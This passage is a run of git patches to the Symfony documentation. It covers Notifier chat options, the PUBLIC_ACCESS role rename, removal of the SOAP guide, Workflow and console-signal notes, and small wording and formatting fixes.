-:method:`SlackOptions::threadTs() <Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions::threadTs>` method::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $options = (new SlackOptions())
-        ->block((new SlackSectionBlock())->text('My reply'))
-        ->threadTs('1621592155.003100')
-    ;
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($options);
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/message-reply.png
-   :align: center
-
-Adding Interactions to a Discord Message
-----------------------------------------
-
-With a Discord message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Discord\\DiscordOptions` class
-to add some interactive options called `Embed elements`_::
-
-    use Symfony\Component\Notifier\Bridge\Discord\DiscordOptions;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordEmbed;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFieldEmbedObject;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFooterEmbedObject;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordMediaEmbedObject;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('');
-
-    // Create Discord Embed
-    $discordOptions = (new DiscordOptions())
-        ->username('connor bot')
-        ->addEmbed((new DiscordEmbed())
-            ->color(2021216)
-            ->title('New song added!')
-            ->thumbnail((new DiscordMediaEmbedObject())
-            ->url('https://i.scdn.co/image/ab67616d0000b2735eb27502aa5cb1b4c9db426b'))
-            ->addField((new DiscordFieldEmbedObject())
-                ->name('Track')
-                ->value('[Common Ground](https://open.spotify.com/track/36TYfGWUhIRlVjM8TxGUK6)')
-                ->inline(true)
-            )
-            ->addField((new DiscordFieldEmbedObject())
-                ->name('Artist')
-                ->value('Alasdair Fraser')
-                ->inline(true)
-            )
-            ->addField((new DiscordFieldEmbedObject())
-                ->name('Album')
-                ->value('Dawn Dance')
-                ->inline(true)
-            )
-            ->footer((new DiscordFooterEmbedObject())
-                ->text('Added ...')
-                ->iconUrl('https://upload.wikimedia.org/wikipedia/commons/thumb/1/19/Spotify_logo_without_text.svg/200px-Spotify_logo_without_text.svg.png')
-            )
-        )
-    ;
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($discordOptions);
-
-    $chatter->send($chatMessage);
-
-Adding Interactions to a Telegram Message
------------------------------------------
-
-With a Telegram message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Telegram\\TelegramOptions` class
-to add `message options`_::
-
-    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\Button\InlineKeyboardButton;
-    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\InlineKeyboardMarkup;
-    use Symfony\Component\Notifier\Bridge\Telegram\TelegramOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('');
-
-    // Create Telegram options
-    $telegramOptions = (new TelegramOptions())
-        ->chatId('@symfonynotifierdev')
-        ->parseMode('MarkdownV2')
-        ->disableWebPagePreview(true)
-        ->disableNotification(true)
-        ->replyMarkup((new InlineKeyboardMarkup())
-            ->inlineKeyboard([
-                (new InlineKeyboardButton('Visit symfony.com'))
-                    ->url('https://symfony.com/'),
-            ])
-        );
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($telegramOptions);
-
-    $chatter->send($chatMessage);
-
-Updating Telegram Messages
-~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-.. versionadded:: 6.2
-
-    The ``TelegramOptions::edit()`` method was introduced in Symfony 6.2.
-
-When working with interactive callback buttons, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Telegram\\TelegramOptions` to reference
-a previous message to edit::
-
-    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\Button\InlineKeyboardButton;
-    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\InlineKeyboardMarkup;
-    use Symfony\Component\Notifier\Bridge\Telegram\TelegramOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Are you really sure?');
-    $telegramOptions = (new TelegramOptions())
-        ->chatId($chatId)
-        ->edit($messageId) // extracted from callback payload or SentMessage
-        ->replyMarkup((new InlineKeyboardMarkup())
-            ->inlineKeyboard([
-                (new InlineKeyboardButton('Absolutely'))->callbackData('yes'),
-            ])
-        );
-
-Answering Callback Queries in Telegram
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-.. versionadded:: 6.3
-
-    The ``TelegramOptions::answerCallbackQuery()`` method was introduced in Symfony 6.3.
-
-When sending message with inline keyboard buttons with callback data, you can use
-:class:`Symfony\\Component\\Notifier\\Bridge\\Telegram\\TelegramOptions` to `answer callback queries`_::
-
-    use Symfony\Component\Notifier\Bridge\Telegram\TelegramOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Thank you!');
-    $telegramOptions = (new TelegramOptions())
-        ->chatId($chatId)
-        ->answerCallbackQuery(
-            callbackQueryId: '12345', // extracted from callback
-            showAlert: true,
-            cacheTime: 1,
-        );
-
-Adding text to a Microsoft Teams Message
-----------------------------------------
-
-With a Microsoft Teams, you can use the ChatMessage class::
-
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = (new ChatMessage('Contribute To Symfony'))->transport('microsoftteams');
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/microsoft_teams/message.png
-   :align: center
-
-Adding Interactions to a Microsoft Teams Message
-------------------------------------------------
-
-With a Microsoft Teams Message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\MicrosoftTeams\\MicrosoftTeamsOptions` class
-to add `MessageCard options`_::
-
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\ActionCard;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\HttpPostAction;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\DateInput;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\TextInput;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsOptions;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Field\Fact;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Section;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('');
-
-    // Action elements
-    $input = new TextInput();
-    $input->id('input_title');
-    $input->isMultiline(true)->maxLength(5)->title('In a few words, why would you like to participate?');
-
-    $inputDate = new DateInput();
-    $inputDate->title('Proposed date')->id('input_date');
-
-    // Create Microsoft Teams MessageCard
-    $microsoftTeamsOptions = (new MicrosoftTeamsOptions())
-        ->title('Symfony Online Meeting')
-        ->text('Symfony Online Meeting are the events where the best developers meet to share experiences...')
-        ->summary('Summary')
-        ->themeColor('#F4D35E')
-        ->section((new Section())
-            ->title('Talk about Symfony 5.3 - would you like to join? Please give a shout!')
-            ->fact((new Fact())
-                ->name('Presenter')
-                ->value('Fabien Potencier')
-            )
-            ->fact((new Fact())
-                ->name('Speaker')
-                ->value('Patricia Smith')
-            )
-            ->fact((new Fact())
-                ->name('Duration')
-                ->value('90 min')
-            )
-            ->fact((new Fact())
-                ->name('Date')
-                ->value('TBA')
-            )
-        )
-        ->action((new ActionCard())
-            ->name('ActionCard')
-            ->input($input)
-            ->input($inputDate)
-            ->action((new HttpPostAction())
-                ->name('Add comment')
-                ->target('http://target')
-            )
-        )
-    ;
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($microsoftTeamsOptions);
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/microsoft_teams/message-card.png
-   :align: center
-
-.. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
-.. _`Embed elements`: https://discord.com/developers/docs/resources/webhook
-.. _`message options`: https://core.telegram.org/bots/api
-.. _`MessageCard options`: https://docs.microsoft.com/en-us/outlook/actionable-messages/message-card-reference
-.. _`answer callback queries`: https://core.telegram.org/bots/api#answercallbackquery

From 296a5be6a96707a8527a348da3583126ba393732 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 23 Jan 2023 18:21:32 +0100
Subject: [PATCH 2816/5766] [ExpressionLanguage] Deprecate loose comparisons
 when using the "in" operator

---
 components/expression_language.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index bce07e25070..9f682cbe5ff 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -432,6 +432,13 @@ For example::
 
 The ``$inGroup`` would evaluate to ``true``.
 
+.. deprecated:: 6.3
+
+    In Symfony versions previous to 6.3, ``in`` and ``not in`` operators
+    were using loose comparison. Using these operators with variables of
+    different types is now deprecated, and these operators will be using
+    strict comparison from Symfony 7.0.
+
 Numeric Operators
 .................
 

From 03995aa369076df8794d60cb66f6d172ba4f6ab1 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Mon, 23 Jan 2023 19:54:11 +0100
Subject: [PATCH 2817/5766] update CI intro

---
 contributing/code/tests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/tests.rst b/contributing/code/tests.rst
index 4c0c65ae09c..15487740301 100644
--- a/contributing/code/tests.rst
+++ b/contributing/code/tests.rst
@@ -3,7 +3,7 @@
 Running Symfony Tests
 =====================
 
-The Symfony project uses a third-party service which automatically runs tests
+The Symfony project uses a CI (Continuous Integration) service which automatically runs tests
 for any submitted :doc:`patch <pull_requests>`. If the new code breaks any test,
 the pull request will show an error message with a link to the full error details.
 

From b0c1ea267c3a7d04ec540258b18896e21cc95b08 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 24 Jan 2023 10:05:23 +0100
Subject: [PATCH 2818/5766] Tweaks

---
 logging/processors.rst | 20 +++++++++++---------
 1 file changed, 11 insertions(+), 9 deletions(-)

diff --git a/logging/processors.rst b/logging/processors.rst
index 8e67634ccd0..cbc039d992f 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -165,14 +165,13 @@ handler level or at the channel level instead of registering it globally
 (see the following sections).
 
 When registering a new processor, instead of adding the tag manually in your
-configuration files, you can take full advantage of the ``#[AsMonologProcessor]``
-attribute by using it one the processor class::
+configuration files, you can use the ``#[AsMonologProcessor]`` attribute to
+apply it on the processor class::
 
     // src/Logger/SessionRequestProcessor.php
     namespace App\Logger;
 
     use Monolog\Attribute\AsMonologProcessor;
-    // ...
 
     #[AsMonologProcessor]
     class SessionRequestProcessor
@@ -180,13 +179,16 @@ attribute by using it one the processor class::
         // ...
     }
 
-The ``#[AsMonologProcessor]`` attribute takes 3 optional arguments:
+The ``#[AsMonologProcessor]`` attribute takes these optional arguments:
 
-* ``channel``: the logging channel the processor should be pushed to
-* ``handler``: the handler the processor should be pushed to
-* ``method``: the method that processes the records (if the attribute is used
-  at the class level). Indeed, the attribute can also be used directly
-  on a class method.
+* ``channel``: the logging channel the processor should be pushed to;
+* ``handler``: the handler the processor should be pushed to;
+* ``method``: the method that processes the records (useful when applying
+  the attribute to the entire class instead of a single method).
+
+.. versionadded:: 3.8
+
+    The ``#[AsMonologProcessor]`` attribute was introduced in MonologBundle 3.8.
 
 Symfony's MonologBridge provides processors that can be registered inside your application.
 

From bc121fb5507510e8afebac8e06aab895158e8542 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 24 Jan 2023 10:22:49 +0100
Subject: [PATCH 2819/5766] Fix more occurrences

---
 security/entry_point.rst |  2 +-
 security/expressions.rst |  2 +-
 security/force_https.rst | 22 +++++++---------------
 3 files changed, 9 insertions(+), 17 deletions(-)

diff --git a/security/entry_point.rst b/security/entry_point.rst
index 42fb6452b71..fb1fbe4ea41 100644
--- a/security/entry_point.rst
+++ b/security/entry_point.rst
@@ -168,7 +168,7 @@ split the configuration into two separate firewalls:
                 ->formLogin();
 
             $accessControl = $security->accessControl();
-            $accessControl->path('^/login')->roles(['IS_AUTHENTICATED_ANONYMOUSLY']);
+            $accessControl->path('^/login')->roles(['PUBLIC_ACCESS']);
             $accessControl->path('^/api')->roles(['ROLE_API_USER']);
             $accessControl->path('^/')->roles(['ROLE_USER']);
         };
diff --git a/security/expressions.rst b/security/expressions.rst
index afec9ac30b1..93827fc756b 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -64,7 +64,7 @@ Additionally, you have access to a number of functions inside the expression:
     "fully" - i.e. returns true if the user is "logged in".
 ``is_anonymous()``
     Returns ``true`` if the user is anonymous. That is, the firewall confirms that it
-    does not know this user's identity. This is different from ``IS_AUTHENTICATED_ANONYMOUSLY``,
+    does not know this user's identity. This is different from ``PUBLIC_ACCESS``,
     which is granted to *all* users, including authenticated ones.
 ``is_remember_me()``
     Similar, but not equal to ``IS_AUTHENTICATED_REMEMBERED``, see below.
diff --git a/security/force_https.rst b/security/force_https.rst
index 2c2a8fe42c2..ac59f245a94 100644
--- a/security/force_https.rst
+++ b/security/force_https.rst
@@ -24,9 +24,9 @@ access control:
 
                 access_control:
                     - { path: '^/secure', roles: ROLE_ADMIN, requires_channel: https }
-                    - { path: '^/login', roles: IS_AUTHENTICATED_ANONYMOUSLY, requires_channel: https }
+                    - { path: '^/login', roles: PUBLIC_ACCESS, requires_channel: https }
                     # catch all other URLs
-                    - { path: '^/', roles: IS_AUTHENTICATED_ANONYMOUSLY, requires_channel: https }
+                    - { path: '^/', roles: PUBLIC_ACCESS, requires_channel: https }
 
         .. code-block:: xml
 
@@ -43,17 +43,9 @@ access control:
                 <config>
                     <!-- ... -->
 
-                    <rule path="^/secure"
-                        role="ROLE_ADMIN"
-                        requires-channel="https"/>
-                    <rule path="^/login"
-                        role="IS_AUTHENTICATED_ANONYMOUSLY"
-                        requires-channel="https"
-                    />
-                    <rule path="^/"
-                        role="IS_AUTHENTICATED_ANONYMOUSLY"
-                        requires-channel="https"
-                    />
+                    <rule path="^/secure" role="ROLE_ADMIN" requires-channel="https"/>
+                    <rule path="^/login" role="PUBLIC_ACCESS" requires-channel="https"/>
+                    <rule path="^/" role="PUBLIC_ACCESS" requires-channel="https"/>
                 </config>
             </srv:container>
 
@@ -73,13 +65,13 @@ access control:
 
                 $security->accessControl()
                     ->path('^/login')
-                    ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                    ->roles(['PUBLIC_ACCESS'])
                     ->requiresChannel('https')
                 ;
 
                 $security->accessControl()
                     ->path('^/')
-                    ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                    ->roles(['PUBLIC_ACCESS'])
                     ->requiresChannel('https')
                 ;
             };

From 175908efffbebba8f26e6c5cb6e508ef66542da6 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 24 Jan 2023 10:50:16 +0100
Subject: [PATCH 2820/5766] [Refs] Fixed refs displaying incorrectly

---
 components/lock.rst             |  8 ++++++--
 contributing/code/core_team.rst | 13 +++++++++----
 2 files changed, 15 insertions(+), 6 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index c1ceabd4438..bce846ef0b7 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -310,7 +310,7 @@ will fallback to a write lock by calling the ``acquire()`` method.
 The Owner of The Lock
 ---------------------
 
-Locks that are acquired for the first time are owned [1]_ by the ``Lock`` instance that acquired
+Locks that are acquired for the first time are :ref:`owned <lock-owner-technical-details>` by the ``Lock`` instance that acquired
 it. If you need to check whether the current ``Lock`` instance is (still) the owner of
 a lock, you can use the ``isAcquired()`` method::
 
@@ -347,7 +347,11 @@ lose the lock it acquired automatically::
     you have to use ``acquire()`` for this. The ``isAcquired()`` method is used to check
     if the lock has been acquired by the **current process** only.
 
-.. [1] Technically, the true owners of the lock are the ones that share the same instance of ``Key``,
+.. _lock-owner-technical-details:
+
+.. note::
+
+    Technically, the true owners of the lock are the ones that share the same instance of ``Key``,
     not ``Lock``. But from a user perspective, ``Key`` is internal and you will likely only be working
     with the ``Lock`` instance so it's easier to think of the ``Lock`` instance as being the one that
     is the owner of the lock.
diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index a659666c2ec..6cef3400384 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -146,7 +146,7 @@ Pull Request Merging Policy
 
 A pull request **can be merged** if:
 
-* It is a minor change [1]_;
+* It is a :ref:`minor change <core-team_minor-changes>`;
 
 * Enough time was given for peer reviews;
 
@@ -162,7 +162,8 @@ Pull Request Merging Process
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 All code must be committed to the repository through pull requests, except for
-minor changes [1]_ which can be committed directly to the repository.
+:ref:`minor change <core-team_minor-changes>` which can be committed directly
+to the repository.
 
 **Mergers** must always use the command-line ``gh`` tool provided by the
 **Project Leader** to merge the pull requests.
@@ -178,8 +179,12 @@ Symfony Core Rules and Protocol Amendments
 The rules described in this document may be amended at any time at the
 discretion of the **Project Leader**.
 
-.. [1] Minor changes comprise typos, DocBlock fixes, code standards
-       violations, and minor CSS, JavaScript and HTML modifications.
+.. _core-team_minor-changes:
+
+.. note::
+
+    Minor changes comprise typos, DocBlock fixes, code standards
+    violations, and minor CSS, JavaScript and HTML modifications.
 
 .. _`symfony-docs repository`: https://github.com/symfony/symfony-docs
 .. _`fabpot`: https://github.com/fabpot/

From 29c51d4064890fe1459686b6da31b5175f703350 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 24 Jan 2023 12:29:16 +0100
Subject: [PATCH 2821/5766] Fix some code issue

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index dd62b8b93b3..16703c616b1 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -94,6 +94,7 @@ whitelist:
         - 'provides a ``loginUser()`` method to simulate logging in in your functional'
         - '.. code-block:: twig'
         - '.. versionadded:: 3.6' # MonologBundle
+        - '.. versionadded:: 3.8' # MonologBundle
         - '// bin/console'
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
         - '..  End to End Tests (E2E)'

From 285101d55d3b007fb00c939ac178c54562f7b8c2 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Tue, 24 Jan 2023 13:47:34 +0100
Subject: [PATCH 2822/5766] Remove SOAP docs

---
 controller/soap_web_service.rst | 172 --------------------------------
 1 file changed, 172 deletions(-)
 delete mode 100644 controller/soap_web_service.rst

diff --git a/controller/soap_web_service.rst b/controller/soap_web_service.rst
deleted file mode 100644
index effa613c1c5..00000000000
--- a/controller/soap_web_service.rst
+++ /dev/null
@@ -1,172 +0,0 @@
-.. index::
-    single: Web Services; SOAP
-
-.. _how-to-create-a-soap-web-service-in-a-symfony2-controller:
-
-How to Create a SOAP Web Service in a Symfony Controller
-========================================================
-
-Setting up a controller to act as a SOAP server is aided by a couple
-tools. Those tools expect you to have the `PHP SOAP`_ extension installed.
-As the PHP SOAP extension cannot currently generate a WSDL, you must either
-create one from scratch or use a 3rd party generator.
-
-.. note::
-
-    There are several SOAP server implementations available for use with
-    PHP. `Laminas SOAP`_ and `NuSOAP`_ are two examples. Although the PHP SOAP
-    extension is used in these examples, the general idea should still
-    be applicable to other implementations.
-
-SOAP works by exposing the methods of a PHP object to an external entity
-(i.e. the person using the SOAP service). To start, create a class - ``HelloService`` -
-which represents the functionality that you'll expose in your SOAP service.
-In this case, the SOAP service will allow the client to call a method called
-``hello``, which happens to send an email::
-
-    // src/Service/HelloService.php
-    namespace App\Service;
-
-    class HelloService
-    {
-        private $mailer;
-
-        public function __construct(\Swift_Mailer $mailer)
-        {
-            $this->mailer = $mailer;
-        }
-
-        public function hello($name)
-        {
-            $message = (new \Swift_Message('Hello Service'))
-                ->setTo('me@example.com')
-                ->setBody($name.' says hi!');
-
-            $this->mailer->send($message);
-
-            return 'Hello, '.$name;
-        }
-    }
-
-Next, make sure that your new class is registered as a service. If you're using
-the :ref:`default services configuration <service-container-services-load-example>`,
-you don't need to do anything!
-
-Finally, below is an example of a controller that is capable of handling a SOAP
-request. Because ``index()`` is accessible via ``/soap``, the WSDL document
-can be retrieved via ``/soap?wsdl``::
-
-    // src/Controller/HelloServiceController.php
-    namespace App\Controller;
-
-    use App\Service\HelloService;
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
-
-    class HelloServiceController extends AbstractController
-    {
-        /**
-         * @Route("/soap")
-         */
-        public function index(HelloService $helloService)
-        {
-            $soapServer = new \SoapServer('/path/to/hello.wsdl');
-            $soapServer->setObject($helloService);
-
-            $response = new Response();
-            $response->headers->set('Content-Type', 'text/xml; charset=ISO-8859-1');
-
-            ob_start();
-            $soapServer->handle();
-            $response->setContent(ob_get_clean());
-
-            return $response;
-        }
-    }
-
-Take note of the calls to ``ob_start()`` and ``ob_get_clean()``. These
-methods control `output buffering`_ which allows you to "trap" the echoed
-output of ``$server->handle()``. This is necessary because Symfony expects
-your controller to return a ``Response`` object with the output as its "content".
-You must also remember to set the ``"Content-Type"`` header to ``"text/xml"``, as
-this is what the client will expect. So, you use ``ob_start()`` to start
-buffering the STDOUT and use ``ob_get_clean()`` to dump the echoed output
-into the content of the Response and clear the output buffer. Finally, you're
-ready to return the ``Response``.
-
-Below is an example of calling the service using a native `SoapClient`_ client. This example
-assumes that the ``index()`` method in the controller above is accessible via
-the route ``/soap``::
-
-    $soapClient = new \SoapClient('http://example.com/index.php/soap?wsdl');
-
-    $result = $soapClient->__soapCall('hello', ['name' => 'Scott']);
-
-An example WSDL is below.
-
-.. code-block:: xml
-
-    <?xml version="1.0" encoding="ISO-8859-1"?>
-    <definitions xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
-        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
-        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-        xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
-        xmlns:tns="urn:helloservicewsdl"
-        xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
-        xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
-        xmlns="http://schemas.xmlsoap.org/wsdl/"
-        targetNamespace="urn:helloservicewsdl">
-
-        <types>
-            <xsd:schema targetNamespace="urn:hellowsdl">
-                <xsd:import namespace="http://schemas.xmlsoap.org/soap/encoding/"/>
-                <xsd:import namespace="http://schemas.xmlsoap.org/wsdl/"/>
-            </xsd:schema>
-        </types>
-
-        <message name="helloRequest">
-            <part name="name" type="xsd:string"/>
-        </message>
-
-        <message name="helloResponse">
-            <part name="return" type="xsd:string"/>
-        </message>
-
-        <portType name="hellowsdlPortType">
-            <operation name="hello">
-                <documentation>Hello World</documentation>
-                <input message="tns:helloRequest"/>
-                <output message="tns:helloResponse"/>
-            </operation>
-        </portType>
-
-        <binding name="hellowsdlBinding" type="tns:hellowsdlPortType">
-            <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
-            <operation name="hello">
-                <soap:operation soapAction="urn:arnleadservicewsdl#hello" style="rpc"/>
-
-                <input>
-                    <soap:body use="encoded" namespace="urn:hellowsdl"
-                        encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
-                </input>
-
-                <output>
-                    <soap:body use="encoded" namespace="urn:hellowsdl"
-                        encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
-                </output>
-            </operation>
-        </binding>
-
-        <service name="hellowsdl">
-            <port name="hellowsdlPort" binding="tns:hellowsdlBinding">
-                <soap:address location="http://example.com/index.php/soap"/>
-            </port>
-        </service>
-    </definitions>
-
-.. _`PHP SOAP`: https://www.php.net/manual/en/book.soap.php
-.. _`NuSOAP`: https://sourceforge.net/projects/nusoap
-.. _`output buffering`: https://www.php.net/manual/en/book.outcontrol.php
-.. _`Laminas SOAP`: https://docs.laminas.dev/laminas-soap/server/
-.. _`SoapClient`: https://www.php.net/manual/en/class.soapclient.php

From 85ed54be80eafff80156154e9ecf4e8990d3497c Mon Sep 17 00:00:00 2001
From: Giacomo Moscardini <lamasfoker@users.noreply.github.com>
Date: Tue, 24 Jan 2023 12:23:50 +0100
Subject: [PATCH 2823/5766] [Workflow] Improve Workflow Documentation

---
 workflow.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index 389231ba91a..05c4a7dd385 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -194,7 +194,10 @@ The configured property will be used via its implemented getter/setter methods b
     preferable to not configure it.
 
     A single state marking store uses a ``string`` to store the data. A multiple
-    state marking store uses an ``array`` to store the data.
+    state marking store uses an ``array`` to store the data. On both cases if no
+    state marking store is defined you have to return ``null``. So in the above
+    example should be defined a return type like ``App\Entity\BlogPost::getCurrentPlace(): ?array``
+    or like ``App\Entity\BlogPost::getCurrentPlace(): ?string``.
 
 .. tip::
 

From a9cce3c7090fa7f4b5c46c716d8d9344cf96abd1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 24 Jan 2023 17:40:13 +0100
Subject: [PATCH 2824/5766] Tweak

---
 workflow.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 05c4a7dd385..0deb02df50b 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -194,10 +194,10 @@ The configured property will be used via its implemented getter/setter methods b
     preferable to not configure it.
 
     A single state marking store uses a ``string`` to store the data. A multiple
-    state marking store uses an ``array`` to store the data. On both cases if no
-    state marking store is defined you have to return ``null``. So in the above
-    example should be defined a return type like ``App\Entity\BlogPost::getCurrentPlace(): ?array``
-    or like ``App\Entity\BlogPost::getCurrentPlace(): ?string``.
+    state marking store uses an ``array`` to store the data. If no state marking
+    store is defined you have to return ``null`` in both cases (e.g. the above
+    example should define a return type like ``App\Entity\BlogPost::getCurrentPlace(): ?array``
+    or like ``App\Entity\BlogPost::getCurrentPlace(): ?string``).
 
 .. tip::
 

From aeb0ccc9c396051856d1159a8121e9c6a6b6491f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 24 Jan 2023 21:31:30 +0100
Subject: [PATCH 2825/5766] [Console] Remove exit() call in last SignalHandler

---
 components/console/events.rst | 16 ++++++++++++++--
 1 file changed, 14 insertions(+), 2 deletions(-)

diff --git a/components/console/events.rst b/components/console/events.rst
index f41c50d3bec..9f5caf67f15 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -174,10 +174,10 @@ Listeners receive a
     use Symfony\Component\Console\Event\ConsoleSignalEvent;
 
     $dispatcher->addListener(ConsoleEvents::SIGNAL, function (ConsoleSignalEvent $event) {
-       
+
         // gets the signal number
         $signal = $event->getHandlingSignal();
-        
+
         if (\SIGINT === $signal) {
             echo "bye bye!";
         }
@@ -218,6 +218,18 @@ handle signals themselves. To do so, implement the
         }
     }
 
+It is your responsibility to handle signals that are relevant to you (even
+``SIGKILL``, ``SIGTERM``, etc). This allows you to ignore them or do tasks
+before terminating the process for example. This behavior is intended, as
+it leaves more flexibility to developers to handle each type of signal the
+way they want to.
+
+.. deprecated:: 6.3
+
+    In Symfony versions previous to 6.3, all signals (except from ``SIGUSR1`` and
+    ``SIGUSR2``) would terminate the script by calling ``exit(0)``. From Symfony 6.3,
+    no more signal is automatically calling ``exit(0)``.
+
 .. _`reserved exit codes`: https://www.tldp.org/LDP/abs/html/exitcodes.html
 .. _`Signals`: https://en.wikipedia.org/wiki/Signal_(IPC)
 .. _`constants of the PCNTL PHP extension`: https://www.php.net/manual/en/pcntl.constants.php

From 5f53fb108a3bda9d0fa69885125a0e536c7a73a7 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 25 Jan 2023 10:25:46 +0100
Subject: [PATCH 2826/5766] [Standards] Add `Attribute` format and formats for
 Code Examples

---
 contributing/documentation/standards.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index 8e266f68cab..b28cecb133b 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -88,10 +88,11 @@ Configuration examples should show all supported formats using
 (and their orders) are:
 
 * **Configuration** (including services): YAML, XML, PHP
-* **Routing**: Annotations, YAML, XML, PHP
-* **Validation**: Annotations, YAML, XML, PHP
-* **Doctrine Mapping**: Annotations, YAML, XML, PHP
+* **Routing**: Attributes, Annotations, YAML, XML, PHP
+* **Validation**: Attributes, Annotations, YAML, XML, PHP
+* **Doctrine Mapping**: Attributes, Annotations, YAML, XML, PHP
 * **Translation**: XML, YAML, PHP
+* **Code Examples** (if applicable): PHP Symfony, PHP Standalone
 
 Example
 ~~~~~~~

